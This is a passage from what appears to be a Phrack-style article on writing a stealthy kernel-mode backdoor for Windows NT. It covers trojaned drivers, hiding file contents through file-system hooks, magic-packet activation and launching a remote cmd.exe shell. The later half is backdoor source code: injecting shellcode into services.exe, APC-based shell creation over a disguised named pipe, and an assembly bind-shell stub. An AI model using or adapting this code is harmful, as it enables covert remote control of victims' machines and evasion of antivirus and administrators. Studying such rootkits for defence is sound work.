is as easy as "hello world", and that is why it is usually replaced with a
trojan. But if we are going to have a procedure for hiding changes to a
file, we can replace ANY driver with a trojan that will substitute the
content of the replaced file with the original content to everyone (incl-
uding the kernel). Upon startup, it will copy itself to some allocated
memory area and start a thread there.
This will make the trojan almost unnoticeable in memory: No system
utility can see the driver any more, as it is just an anonymous memory
page amongst many. We do not even need a thread, using intercepted IRP
dispatch functions of some driver (DriverObject->MajorFunction[IRP_MJ_xxx]).
We can also use IoQueueWorkItem and KeInsertQueueDpc, so no additional
threads in SYSTEM will be visible in the task manager. After this is done
the trojan can unload the driver it was started from, and reload it in a
clean (unchanged) variant. As a result, high levels of stealth will be
achieved by relatively simple means. The original content of the manipu-
lated file could for example be stored in the trojan's file after the
trojan itself.
It will then be sufficient to hook all FSD requests (IRP and FastIO)
and upon access change the position (and size of the file).
(CurrentIrpStackLocation->Parameters.*.ByteOffset)
--[ 4 - My variant: The thorny path
----[ 4.1 - Shell
I originally intended to do something similarily simple as standard
user-mode code: Just pass a socket handle for stdin/stdout/stderr to the
newly created cmd.exe process. I did not find a way to open a useful
socket from a driver though, as the interface with the AFD driver (kmode
core of winsock) is undocumented. Reverse-engineering it's usage was not
an option either as due to changes between versions my technique would be
unreliable. I had to find a different way.
First variant
=============
We could start our code in the context of some process, using a shell-
code quite similar to that used in exploits. The code could wait for a TCP
connection and start cmd.exe with redirected I/O.
I chose this way when I tired of trying to start a full-fledged win32
process from a driver. The shellcode is position-independent, searches for
kernel32.dll in memory and loads the winsock library. All that needs to be
done is injecting the shellcode into the address space of a process and
pass control to the entry point of the shellcode. However, in the process
of doing this the normal work of the process must not be interrupted, be-
cause a failure in a critical system process will lead to a failure of the
whole system.
So we need to allocate memory, write shellcode there, and create a
thread with EIP = entry point of the shellcode. Code to do this can be
found in the attached file shell.cpp. Unfortunately, when CreateProcess
is called from the thread started in this way it failed, most probably
because something that CreateProcess relies upon was not initialized pro-
poerly in the context of our thread. We thus need to call CreateProcess
from a thread context which has everything that CreateProcess needs ini-
tialized -- we're going to take a thread which belongs to the process we
are intruding into (I used SetThreadContext for that). One needs to re-
store the state of the thread prior to the interruption so it can contiue
it's normal operation.
So we need to: Save thread context via GetThreadContext, set the EIP
to our context via SetThreadContext, wait for the code to complete, and
then restore the original cont again. The rest is just a usual shellcode
for Windows NT (full code in dummy4.asm).
One unsolved problem remains: If the thread is in waiting state, it
will not run until it wakes up. Using ZwAlertThread does not yield any re-
sult if the thread is in a nonalertable wait state. Fortunately, the
thread in services.exe worked without a problem -- this does not imply it
will stay like this in the future though, so I continued my research:
Second variant
==============
Things are not as easy as [4] makes them sound. Creating a full-
fledged win32-process requires it's registration in the CSRSS subsystem.
This is accomplished by using CsrClientCallServer(), which receives all
necessary information about the process (handles, TID, PID, flags). The
functions calls ZwRequestWaitReplyPort, which receives a handle of a pre-
viously opened port for connection with CSRSS.
This port is not open in the SYSTEM process context. Opening it never
succeeded (ZwConnectPort returned STATUS_PORT_CONNECTION_REFUSED). Play-
ing with SECURITY_QUALITY_OF_SERVICE didn't help. While disassembling
ntdll.dll I saw that ZwConnectPort calls were preceded by ZwCreateSection.
But there was no time and no desire to play with sections. Here is the
code that didn't work:
VOID InformCsrss(HANDLE hProcess,HANDLE hThread,ULONG pid,ULONG tid)
{
CSRMSG csrmsg;
HANDLE hCurProcess;
HANDLE handleIndex;
PVOID p;
_asm int 3;
UNICODE_STRING PortName;
RtlInitUnicodeString(&PortName,L"\\Windows\\ApiPort");
static SECURITY_QUALITY_OF_SERVICE QoS =
{sizeof(QoS), SecurityAnonymous, 0, 0};
/*static SECURITY_QUALITY_OF_SERVICE QoS =
{0x77DC0260,
(_SECURITY_IMPERSONATION_LEVEL)2, 0x120101, 0x10000};*/
DWORD ret=ZwConnectPort(&handleIndex,&PortName,&QoS,NULL,
NULL,NULL,NULL,NULL);
if (!ret) {
RtlZeroMemory(&csrmsg,sizeof(CSRMSG));
csrmsg.ProcessInformation.hProcess=hProcess;
csrmsg.ProcessInformation.hThread=hThread;
csrmsg.ProcessInformation.dwProcessId=pid;
csrmsg.ProcessInformation.dwThreadId=tid;
csrmsg.PortMessage.MessageSize=0x4c;
csrmsg.PortMessage.DataSize=0x34;
csrmsg.CsrssMessage.Opcode=0x10000;
ZwRequestWaitReplyPort(handleIndex,(PORT_MESSAGE*)&csrmsg,
(PORT_MESSAGE*)&csrmsg);
}
}
The solution to the problem was obvious; Switch context to one in
which the port is open, e.g. to the context of any win32-process. I inser-
ted KeAttachProcess(HelperProcess) before calling Nebbet's InformCsrss,
and KeDetachProcess afterwards. The role of the HelperProcess was taken
by calc.exe.
When I tried using KeAttachProcess that way I failed though: The con-
text was switched (visible using the proc command in SoftICE), but Csr-
ClientCallServer returned STATUS_ILLEGAL_FUNCTION. Only Uncle Bill knows
what was happening inside CSRSS.
When trying to frame the whole process creation function into
KeAttachProcess/KeDetachProcess led to the following error when calling
ZwCreateProcess: "Break Due to KeBugCheckEx (Unhandled kernel mode
exception) Error=5 (INVALID_PROCESS_ATTACH_ATTEMPT) ... ".
A different way to execute my code in the context of an arbitrary
process is APC. The APC may be kmode or user-mode. As long as only kmode
APC may overcome nonalertable wait state, all code for process creation
must be done in kernel mode. Nebbet's code normally works at
IRQL == APC_LEVEL
Code execution in the context of a given win32-process by means of APC is
implemented in the StartShell() function, in file ShellAPC.cpp.
Interaction with the process
=============================
Starting a process isn't all. The Backdoor still needs to communicate
with it: It is necessary to redirect it's stdin/stdout/stderr to our
driver. We could do this like most "driver+app"-systems: Create a device
that is visible from user-mode, open it using ZwOpenFile and pass the
handle to the starting process (stdin/stdout/stderr). But a named device
is not stealthy, even if we automatically create a random names. This is
why I have chosen to use named pipes instead.
Windows NT uses named pipes with names like Win32Pipes.%08x.%08x (here
%08x is random 8-digit numbers) for emulation of anonymous pipes. If we
create one more such pipe, nobody will notice. Usually, one uses 2 anon-
ymous pipes r redirecting I/O of a console application in Win32, but when
using a named pipe one will be sufficient as it is bi-directional. The
driver must create a bi-directional named pipe, and cmd.exe must use it's
handle as stdin/stdout/stderr.
The handle can be opened in both kmode and user-mode. The final ver-
sion uses the first variant, but I have also experimented with the second
variant -- being able to implement different variants may help evade anti-
viruses. Starting a process with redirected I/O has been completely imple-
mented in kernel mode in the file NebbetCreateProcess.cpp.
There are two main differences between my and Nebbet's code: The fun-
ctions that are not exported from ntoskrnl.exe but from ntdll, are dyn-
amically imported (see NtdllDynamicLoader.cpp). The handle to the named
pipe is opened with ZwOpenFile() and passed to the starting process with
ZwDuplicateObject with DUPLICATE_CLOSE_SOURCE flag.
For opening the named pipe from user mode I inject code into a start-
ing process. I attached the patch (NebbetCreateProcess.diff) for edu-
cational purposes. It adds a code snippet to a starting process. The
patch writes code (generated by a C++ compiler) to a process's stack. For
independence that code is a function which accepts a pointer to a struc-
ture containing all the necessary data (API addresses etc) as parameter.
This structure and a pointer to it are written to the stack together with
the code of the function itself. ESP of the starting thread is set 4 bytes
bellow the pointer to the parameters of the function, and EIP to it's en-
try point. Once the injected code is done executing, it issues a CALL back
to the original entry point. This example can be modified to be yet
another way of injecting code into a working userland process from kernel
mode.
---[ 4.2 - Activation and communication with the remote client
If a listening socket is permanently open (and visible to netstat -an)
it is likely to be discovered. Even if one hides the socket from netstat
is insufficient as a simple portscan could uncover the port. To remain
stealthy a backdoor must not have any open ports visible locally or re-
motely. It is necessary to use a special packet, which on the one hand
must be unambigously identified by the backdoor as activation signal, yet
at the same time must not be so suspicious as to trigger alerts or be fil-
tered by firewalls. The activation signal could e.g. be a packet contain-
ing a set of packets at any place (header or data) -- all characteristics
of the packet (protocol, port etc) should be ignored. This allows for max-
imum flexibility to avoid aggressive packet filters.
Obviously, we have to implement some sort of sniffer in order to
detect such a special packet. In practice, we have several choices on how
to implement the sniffer:
1) NDIS protocol driver (advantage: possibility not only to receive
packets, but also to send - thus making covert channel for
communication with remote client possible; disadvantage: difficulties
with supporting all types of network devices) - applied in ntrootkit;
2) use service provided by IpFilterDriver on w2k and higher
(advantages: simple implementation and complete independence
from physical layer; disadvantage: receive only);
3) setup filter on 1 of network drivers, through which packets pass
through (see [5]);
4) direct appeal to network drivers by some other means for receive
and send packets (advantage: can do everything; disadvantage:
unexplored area).
I have chosen variant 2 due to it's simplicity and convenience for both
described variants of starting a shell. IpFilterDriver used only for
activation, further connection is made via TCP by means of TDI.
An example of the usage of IpFilterDriver can be seen in Filtering.cpp
and MPFD_main.cpp. InitFiltering() loads the IpFilterDriver if it isn't
yet loaded. Then it calls SetupFiltering, which sets a filter with
IOCTL_PF_SET_EXTENSION_POINTER IOCTL. PacketFilter() is then called on
each IP packet. If a keyword is detected StartShellEvent is set and causes
a shell to be started.
The variant using shellcode in an existing process works with the
network in user-mode, thus we do not need to describe anything in detail.
A Kernel-mode TCP shell is implemented in NtBackd00r.cpp. When cmd.exe
is started from a driver with redirected I/O, the link is maintained by
the driver. I took the tcpecho example as base for the communitcation mod-
ule in order not to waste time coding a TDI-client from scratch.
DriverEntry() initialises TDI, creates a listening socket and an unnamed
device for IoQueueWorkItem.
For each conenction an instance of the Session class is created. In
it's OnConnect handler a sequence of operations for creating a process.
process. As long as this handler is called at IRQL==DISPATCH_LEVEL, it's
impossible to do all necessary operations directly in it. It's even
impossible to start a thread because PsCreateSystemThread must be called
only at PASSIVE_LEVEL according to the DDK. Therefore the OnConnect
handler calls IoAllocateWorkItem and IoQueueWorkItem in order to do any
further operations accomplished in WorkItem handler (ShellStarter
function) at PASSIVE_LEVEL.
ShellStarter calls StartShell() and creates a worker thread
(DataPumpThread) and 2 events for notifying it about arriving packets and
named pipe I/O completion. Interaction between the WorkItem/thread and
Session class was built with taking a possible sudden disconnect and
freeing Session into account: syncronisation is accomplished by disabling
interrupts (it's equivalent of raise IRQL to highest) and by means of
DriverStudio classes (SpinLock inside). The Thread uses a copy of some
data that must be available even after instance of Session was deleted.
Initially, DataPumpThread starts one asynchronous read operation
(ZwReadFile) from named pipe -- event hPipeEvents[1] notifies about it's
completion. The other event hPipeEvents[0] notifies about data arrival
from the network. After that ZwWaitForMultipleObjects executed in a loop
waits for one of these events. In dependence of what event was signaled,
the thread does a read from the named pipe and sends data to client, or
does a read read from FIFO and writes to pipe. If the Terminating flag
is set, thread closes all handles, terminates the cmd.exe process, and
then terminates itself. Data arrival is signaled by the hPipeEvents[0]
event in Session::OnReceive and Session::OnReceiveComplete handlers.
It also used in conjunction with the Terminating flag to notify the thread
about termination.
Data resceived from the network is buffered in pWBytePipe FIFO.
DataPumpThread reads data from the FIFO to temporary buffers which are
allocated for each I/O operation and writes data asynchronously to the
pipe (ZwWriteFile). The buffers are freed asynchronously in the ApcCallback-
WriteComplete handler.
Data transfers from the pipe to the network are also accomplished through
temporary buffers that are allocated before ZwReadFile and freed in
Session::OnSendComplete.
Paths of data streams and temporary buffers handling algorithm:
NamedPipe -(new send_buf; ZwReadFile)-> temporary buffer
send_buf -(send)-> Network -> OnSendComplete{delete send_buf}
Network -(OnReceive)-> pWBytePipe -(new rcv_buf)-> temporary
buffer rcv_buf -(ZwWriteFile)-> NamedPipe ->
ApcCallbackWriteComplete{delete rcv_buf}
In Session::OnReceive handler data is written to the FIFO and the
DataPumpThread is notified about it's arrival. If the transport has more
data available than indicated another buffer is allocated to read the
rest. When the transport is done - asynchronously - OnReceiveComplete()
handler is called, which does the same as OnReceive.
----[ 4.3 - Stealth on disk
I've implemented simple demo module (file Intercept.cpp) which hooks
dispatch functions of a given filesystem diver to hide the first N bytes of
a given file. To hook FSD call e.g. Intercept(L"\\FileSystem\\Fastfat").
There is only 2 FSDs that may be necessary to hook: Fastfat ant Ntfs,
because NT can boot from these filesystems.
Intercept() replaces some driver dispatch functions
(pDriverObject->MajorFunction[...], pDriverObject->FastIoDispatch->...).
When hooked driver handles IRPs and FastIo calls the corresponding hook
functions modifies file size and current file offset. Thus all user-mode
programs see file N bytes smaller than original, containing bytes N to
last. It allows to implement trick described in part 3.
--[ 5 - Conclusion
In this article I compared 3 existing Kernel-Mode backdoors for
Windows NT from a programmers point of view, presented some ideas on making
a backdoor stealthier as well as my thorny path of writing my own Kernel-
Mode backdoor.
What we did not describe was a method of hiding open sockets and TCP
connections from utilities such as netstat and fport. Netstat uses
SnmpUtilOidCpy(), and fport talks directly with drivers
(\Device\Udp and \Device\Tcp). To hide something from these and all
similar tools, it's necessary to hook aforementioned drivers with one of
methods mentioned in section "Stealth on disk, in registry and in
memory". I did not explore that issue yet. Probably, its consideration
deserves a separate article. Advice for those who decided to move this
direction: begin with the study of IpLog sources [5].
--[ 6 - Epilogue
When/if this article will be published in Phrack, the article itself
(probably improved and supplemented), its Russian original, and full code
of all used examples will be published at our site http://www.nteam.ru
--[ 7 - List of used sources
1. http://rootkit.com
2. "LKM-attack on WinNT/Win2k"
http://he4dev.e1.bmstu.ru/He4ProjectRepositary/HookSysCall/
3. "Windows Root Kits a Stealthy Threat"
http://www.securityfocus.com/news/2879
4. Garry Nebbet. Windows NT/2000 native API reference.
5. "IP logger for WinNT/Win2k"
http://195.19.33.68/He4ProjectRepositary/IpLog/
--[ 8 - Files
----[ 8.1 - Shell.CPP
#include "ntdll.h"
#include "DynLoadFromNtdll.h"
#include "NtdllDynamicLoader.h"
#if (DBG)
#define dbgbkpt __asm int 3
#else
#define dbgbkpt
#endif
const StackReserve=0x00100000;
const StackCommit= 0x00001000;
extern BOOLEAN Terminating;
extern "C" char shellcode[];
extern "C" const CLID_addr;
extern "C" int const sizeof_shellcode;
namespace NT {
typedef struct _SYSTEM_PROCESSES_NT4 { // Information Class 5
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved1[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
SYSTEM_THREADS Threads[1];
} SYSTEM_PROCESSES_NT4, *PSYSTEM_PROCESSES_NT4;
}
BOOL FindProcess(PCWSTR process, OUT NT::PCLIENT_ID ClientId)
{
NT::UNICODE_STRING ProcessName;
NT::RtlInitUnicodeString(&ProcessName,process);
ULONG n=0xFFFF;
PULONG q =
(PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q));
while (NT::ZwQuerySystemInformation(
NT::SystemProcessesAndThreadsInformation, q, n * sizeof *q, 0))
{
NT::ExFreePool(q);
n*=2;
q = (PULONG)NT::ExAllocatePool
(NT::NonPagedPool,n*sizeof(*q));
}
ULONG MajorVersion;
NT::PsGetVersion(&MajorVersion, NULL, NULL, NULL);
NT::PSYSTEM_PROCESSES p
= NT::PSYSTEM_PROCESSES(q);
BOOL found=0;
char** pp=(char**)&p;
do
{
if ((p->ProcessName.Buffer)&&(!NT::RtlCompareUnicodeString
(&p->ProcessName,&ProcessName,TRUE)))
{
if (MajorVersion<=4)
*ClientId = ((NT::PSYSTEM_PROCESSES_NT4)p)->Threads[0].ClientId;
else *ClientId = p->Threads[0].ClientId;
found=1;
break;
}
if (!(p->NextEntryDelta)) break;
*pp+=p->NextEntryDelta;
} while(1);
NT::ExFreePool(q);
return found;
}
VOID StartShell()
{
//Search ntdll.dll in memory
PVOID pNTDLL=FindNT();
//Dynamicaly link to functions not exported by ntoskrnl,
//but exported by ntdll.dll
DYNAMIC_LOAD(ZwWriteVirtualMemory)
DYNAMIC_LOAD(ZwProtectVirtualMemory)
DYNAMIC_LOAD(ZwResumeThread)
DYNAMIC_LOAD(ZwCreateThread)
HANDLE hProcess=0,hThread;
//Debug breakpoint
dbgbkpt;
NT::CLIENT_ID clid;
//Code must be embedded into thread, which not in nonalertable wait state.
//Such thread is in process services.exe, let's find it
if(!FindProcess(L"services.exe"/*L"calc.exe"*/,&clid)) {dbgbkpt;
return;};
NT::OBJECT_ATTRIBUTES attr={sizeof(NT::OBJECT_ATTRIBUTES), 0,NULL, OBJ_CASE_INSENSITIVE};
//Open process - get it's descriptor
NT::ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &attr, &clid);
if (!hProcess) {dbgbkpt;
return;};
/*NT::PROCESS_BASIC_INFORMATION pi;
NT::ZwQueryInformationProcess(hProcess, NT::ProcessBasicInformation, &pi, sizeof(pi), NULL);*/
ULONG n = sizeof_shellcode;
PVOID p = 0;
PVOID EntryPoint;
//Create code segment - allocate memory into process context
NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!p) {dbgbkpt;
return;};
//*((PDWORD)(&shellcode[TID_addr]))=(DWORD)clid.UniqueThread;
//Write process and thread ID into shellcode, it will be needed for
//further operations with that thread
*((NT::PCLIENT_ID)(&shellcode[CLID_addr]))=(NT::CLIENT_ID)clid;
//Write shellcode to allocated memory
ZwWriteVirtualMemory(hProcess, p, shellcode, sizeof_shellcode, 0);
//Entry point is at the beginning of shellcode
EntryPoint = p;
//Create stack segment
NT::USER_STACK stack = {0};
n = StackReserve;
NT::ZwAllocateVirtualMemory(hProcess, &stack.ExpandableStackBottom, 0, &n,
MEM_RESERVE, PAGE_READWRITE);
if (!stack.ExpandableStackBottom) {dbgbkpt;
return;};
stack.ExpandableStackBase = PCHAR(stack.ExpandableStackBottom)
+ StackReserve;
stack.ExpandableStackLimit = PCHAR(stack.ExpandableStackBase)
- StackCommit;
n = StackCommit + PAGE_SIZE;
p = PCHAR(stack.ExpandableStackBase) - n;
//Create guard page
NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,
MEM_COMMIT, PAGE_READWRITE);
ULONG x; n = PAGE_SIZE;
ZwProtectVirtualMemory(hProcess, &p, &n,
PAGE_READWRITE | PAGE_GUARD, &x);
//Initialize new thread context
//similar to it's initialization by system
NT::CONTEXT context = {CONTEXT_FULL};
context.SegGs = 0;
context.SegFs = 0x38;
context.SegEs = 0x20;
context.SegDs = 0x20;
context.SegSs = 0x20;
context.SegCs = 0x18;
context.EFlags = 0x3000;
context.Esp = ULONG(stack.ExpandableStackBase) - 4;
context.Eip = ULONG(EntryPoint);
NT::CLIENT_ID cid;
//Create and start thread
ZwCreateThread(&hThread, THREAD_ALL_ACCESS, &attr,
hProcess, &cid, &context, &stack, TRUE);
//Here i tried to make thread alertable. The try failed.
/*HANDLE hTargetThread;
NT::ZwOpenThread(&hTargetThread, THREAD_ALL_ACCESS, &attr, &clid);
PVOID ThreadObj;
NT::ObReferenceObjectByHandle(hTargetThread, THREAD_ALL_ACCESS, NULL, NT::KernelMode, &ThreadObj, NULL);
*((unsigned char *)ThreadObj+0x4a)=1;*/
ZwResumeThread(hThread, 0);
}
VOID ShellStarter(VOID* StartShellEvent)
{
do if (NT::KeWaitForSingleObject(StartShellEvent,NT::Executive,NT::KernelMode,FALSE,NULL)==STATUS_SUCCESS)
if (Terminating) NT::PsTerminateSystemThread(0); else StartShell();
while (1);
}
----[ 8.2 - ShellAPC.cpp
#include <stdio.h>
#include "ntdll.h"
#include "DynLoadFromNtdll.h"
#include "NtdllDynamicLoader.h"
#include "NebbetCreateProcess.h"
//Debug macro
#if (DBG)
#define dbgbkpt __asm int 3
#else
#define dbgbkpt
#endif
//Flag guarantees that thread certainly will execute APC regardless of
//it's state
#define SPECIAL_KERNEL_MODE_APC 2
namespace NT
{
extern "C"
{
// Definitions for Windows NT-supplied APC routines.
// These are exported in the import libraries,
// but are not in NTDDK.H
void KeInitializeApc(PKAPC Apc,
PKTHREAD Thread,
CCHAR ApcStateIndex,
PKKERNEL_ROUTINE KernelRoutine,
PKRUNDOWN_ROUTINE RundownRoutine,
PKNORMAL_ROUTINE NormalRoutine,
KPROCESSOR_MODE ApcMode,
PVOID NormalContext);
void KeInsertQueueApc(PKAPC Apc,
PVOID SystemArgument1,
PVOID SystemArgument2,
UCHAR unknown);
}
}
//Variant of structure SYSTEM_PROCESSES for NT4
namespace NT {
typedef struct _SYSTEM_PROCESSES_NT4 { // Information Class 5
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved1[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
SYSTEM_THREADS Threads[1];
} SYSTEM_PROCESSES_NT4, *PSYSTEM_PROCESSES_NT4;
}
//Function searches process with given name.
//Writes PID and TID of first thread to ClientId
BOOL FindProcess(PCWSTR process, OUT NT::PCLIENT_ID ClientId)
{
NT::UNICODE_STRING ProcessName;
NT::RtlInitUnicodeString(&ProcessName,process);
ULONG n=0xFFFF;
//Allocate some memory
PULONG q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q));
//Request information about processes and threads
//until it will fit in allocated memory.
while (NT::ZwQuerySystemInformation(NT::SystemProcessesAndThreadsInformation,
q, n * sizeof *q, 0))
{
//If it didn't fit - free allocated memory...
NT::ExFreePool(q);
n*=2;
//... and allocate twice bigger
q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q));
}
ULONG MajorVersion;
//Request OS version
NT::PsGetVersion(&MajorVersion, NULL, NULL, NULL);
//Copy pointer to SYSTEM_PROCESSES.
//copy will be modified indirectly
NT::PSYSTEM_PROCESSES p = NT::PSYSTEM_PROCESSES(q);
//"process NOT found" - yet
BOOL found=0;
//Pointer to p will be used to indirect modify p.
//This trick is needed to force compiler to perform arithmetic operations with p
//in bytes, not in sizeof SYSTEM_PROCESSES units
char** pp=(char**)&p;
//Process search cycle
do
{
//If process have nonzero number of threads (0 threads is abnormal, but possible),
//has name, that matches looked for...
if ((p->ThreadCount)&&(p->ProcessName.Buffer)&&(!NT::RtlCompareUnicodeString(&p->ProcessName,&ProcessName,TRUE)))
{
//... then copy data about it to variable pointed by ClientId.
//Accounted for different sizeof SYSTEM_PROCESSES in different versions of NT
if (MajorVersion<=4)
*ClientId = ((NT::PSYSTEM_PROCESSES_NT4)p)->Threads[0].ClientId;
else *ClientId = p->Threads[0].ClientId;
//Set flag "process found"
found=1;
//Stop search
break;
}
//No more processes - stop
if (!(p->NextEntryDelta)) break;
//Move to next process
*pp+=p->NextEntryDelta;
} while(1);
//Free memory
NT::ExFreePool(q);
//Return "is the process found" flag
return found;
}
//Generates named pipe name similar to used by API-function CreatePipe
void MakePipeName(NT::PUNICODE_STRING KernelPipeName)
{
//For generation of unrepeating numbers
static unsigned long PipeIdx;
//pseudorandom number
ULONG rnd;
//name template
wchar_t *KPNS = L"\\Device\\NamedPipe\\Win32Pipes.%08x.%08x";
//...and it's length in bytes
ULONG KPNL = wcslen(KPNS)+(8-4)*2+1;
//String buffer: allocated here, freed by caller
wchar_t *buf;
//Request system timer: KeQueryInterruptTime is here not for exact
//counting out time, but for generation of pseudorandom numbers
rnd = (ULONG)NT::KeQueryInterruptTime();
//Allocate memory for string
buf = (wchar_t *)NT::ExAllocatePool(NT::NonPagedPool,(KPNL)*2);
//Generate name: substitute numbers o template
_snwprintf(buf, KPNL, KPNS, PipeIdx++, rnd);
//Write buffer address and string length to KernelPipeName (initialisation)
NT::RtlInitUnicodeString(KernelPipeName, buf);
}
extern "C" NTSTATUS myCreatePipe1(PHANDLE phPipe, NT::PUNICODE_STRING PipeName, IN ACCESS_MASK DesiredAccess, PSECURITY_DESCRIPTOR sd, ULONG ShareAccess);
extern NTSTATUS BuildAlowingSD(PVOID *sd);
struct APC_PARAMETERS {
NT::UNICODE_STRING KernelPipeName;
ULONG ChildPID;
};
//APC handler, runs in context of given thread
void KMApcCallback1(NT::PKAPC Apc, NT::PKNORMAL_ROUTINE NormalRoutine,
PVOID NormalContext, PVOID SystemArgument1,
PVOID SystemArgument2)
{
UNREFERENCED_PARAMETER(NormalRoutine);
UNREFERENCED_PARAMETER(NormalContext);
dbgbkpt;
//Start process with redirected I/O, SystemArgument1 is named pipe name
(*(APC_PARAMETERS**)SystemArgument1)->ChildPID=execute_piped(L"\\SystemRoot\\System32\\cmd.exe", &((*(APC_PARAMETERS**)SystemArgument1)->KernelPipeName));
//Free memory occupied by APC
NT::ExFreePool(Apc);
//Signal about APC processing completion
NT::KeSetEvent(*(NT::KEVENT**)SystemArgument2, 0, TRUE);
return;
}
//Function starts shell process (cmd.exe) with redirected I/O.
//Returns bidirectional named pipe handle in phPipe
extern "C" ULONG StartShell(PHANDLE phPipe)
{
//_asm int 3;
HANDLE hProcess=0, hThread;
APC_PARAMETERS ApcParameters;
//Event of APC processing completion
NT::KEVENT ApcCompletionEvent;
//dbgbkpt;
NT::CLIENT_ID clid;
//Look for process to launch shell from it's context.
//That process must be always present in system
if(!FindProcess(/*L"services.exe"*/L"calc.exe",&clid)) {dbgbkpt;
return FALSE;};
NT::OBJECT_ATTRIBUTES attr={sizeof(NT::OBJECT_ATTRIBUTES), 0,NULL, OBJ_CASE_INSENSITIVE};
//Get process handle from it's PID
NT::ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &attr, &clid);
if (!hProcess) {dbgbkpt;
return FALSE;};
//Get thread handle from it's TID
NT::ZwOpenThread(&hThread, THREAD_ALL_ACCESS, &attr, &clid);
NT::PKTHREAD ThreadObj;
//Get pointer to thread object from it's handle
NT::ObReferenceObjectByHandle(hThread, THREAD_ALL_ACCESS, NULL, NT::KernelMode, (PVOID*)&ThreadObj, NULL);
NT::PKAPC Apc;
ApcParameters.ChildPID=0;
//Allocate memory for APC
Apc = (NT::KAPC*)NT::ExAllocatePool(NT::NonPagedPool, sizeof(NT::KAPC));
//Initialize APC
dbgbkpt;
NT::KeInitializeApc(Apc,
ThreadObj,
SPECIAL_KERNEL_MODE_APC,
(NT::PKKERNEL_ROUTINE)&KMApcCallback1, // kernel mode routine
0, // rundown routine
0, // user-mode routine
NT::KernelMode,
0 //context
);
//Initialize APC processing completion event
NT::KeInitializeEvent(&ApcCompletionEvent,NT::SynchronizationEvent,FALSE);
//Generate random unique named pipe name
MakePipeName(&ApcParameters.KernelPipeName/*, &UserPipeName*/);
PVOID sd;
//Access will be read-only without it.
//There's a weak place in the view of security.
if (BuildAlowingSD(&sd)) return FALSE;
if (myCreatePipe1(phPipe, &ApcParameters.KernelPipeName, GENERIC_READ | GENERIC_WRITE, sd, FILE_SHARE_READ | FILE_SHARE_WRITE)) return FALSE;
NT::KeInsertQueueApc(Apc, &ApcParameters, &ApcCompletionEvent, 0);
NT::KeWaitForSingleObject(&ApcCompletionEvent,NT::Executive,NT::KernelMode,FALSE,NULL);
NT::RtlFreeUnicodeString(&ApcParameters.KernelPipeName);
NT::ZwClose(hProcess);
NT::ZwClose(hThread);
return ApcParameters.ChildPID;
}
----[ 8.3 - dummy4.asm
;Exported symbols - reference points for automated tool
;which generates C code of hex-encoded string
PUBLIC Start
PUBLIC EndFile
PUBLIC CLID_here
;Debug flag - int 3 in the code
DEBUG EQU 1
;Falg "accept more then 1 connection"
MULTIPLE_CONNECT EQU 1
;Falg "bind to next port, if current port busy"
RETRY_BIND EQU 1
.486 ; processor type
.model flat, stdcall ; model of memory
option casemap: none ; disable case sensivity
; includes for file
include Imghdr.inc
include w32.inc
include WSOCK2.INC
; structure initializing
;-------------------------
sSEH STRUCT
OrgEsp dd ?
SaveEip dd ?
sSEH ENDS
CLIENT_ID STRUCT
UniqueProcess dd ?
UniqueThread dd ?
CLIENT_ID ENDS
OBJECT_ATTRIBUTES STRUCT
Length dd ?
RootDirectory dd ?
ObjectName dd ?
Attributes dd ?
SecurityDescriptor dd ?
SecurityQualityOfService dd ?
OBJECT_ATTRIBUTES ENDS
;-------------------------
.code
;----------------------------------------------
MAX_API_STRING_LENGTH equ 150
ALLOCATION_GRANULARITY EQU 10000H
;----------------------------------------------
new_section:
;Macro replaces lea, correcting address for position independency
laa MACRO reg, operand
lea reg, operand
add reg, FixupDelta
ENDM
;The same, but not uses FixupDelta (autonomous)
laaa MACRO reg, operand
local @@delta
call $+5
@@delta:
sub DWORD PTR [esp], OFFSET @@delta
lea reg, operand
add reg, DWORD PTR [esp]
add esp,4
ENDM
main proc
Start:
IFDEF DEBUG
int 3
ENDIF
;Code for evaluating self address
delta:
pop ebx
sub ebx,OFFSET delta
;Allocate place for variables in stack
enter SizeOfLocals,0
;Save difference between load address and ImageBase
mov FixupDelta,ebx
;Tables, where to write addresses of exported functions
KERNEL32FunctionsTable EQU _CreateThread
NTDLLFunctionsTable EQU _ZwOpenThread
WS2_32FunctionsTable EQU _WSASocket
;Local variables
local flag:DWORD,save_eip:DWORD,_CreateThread:DWORD,_GetThreadContext:DWORD,_SetThreadContext:DWORD,_ExitThread:DWORD,_LoadLibrary:DWORD,_CreateProcessA:DWORD,_Sleep:DWORD,_VirtualFree:DWORD,_ZwOpenThread:DWORD,_ZwAlertThread:DWORD,cxt:CONTEXT,clid:CLIENT_ID,hThread:DWORD,attr:OBJECT_ATTRIBUTES,addr:sockaddr_in,sizeofaddr:DWORD,sock:DWORD,sock2:DWORD,StartInf:STARTUPINFO,ProcInf:PROCESS_INFORMATION,_WSASocket:DWORD,_bind:DWORD,_listen:DWORD,_accept:DWORD,_WSAStartup:DWORD,_closesocket:DWORD,_WSACleanup:DWORD,wsadat:WSAdata,FixupDelta:DWORD =SizeOfLocals
assume fs : nothing
;---- get ImageBase of kernel32.dll ----
lea ebx,KERNEL32FunctionsTable
push ebx
laa ebx,KERNEL32StringTable
push ebx
push 0FFFF0000h
call GetDllBaseAndLoadFunctions
lea ebx,NTDLLFunctionsTable
push ebx
laa ebx,NTDLLStringTable
push ebx
push 0FFFF0000h
call GetDllBaseAndLoadFunctions
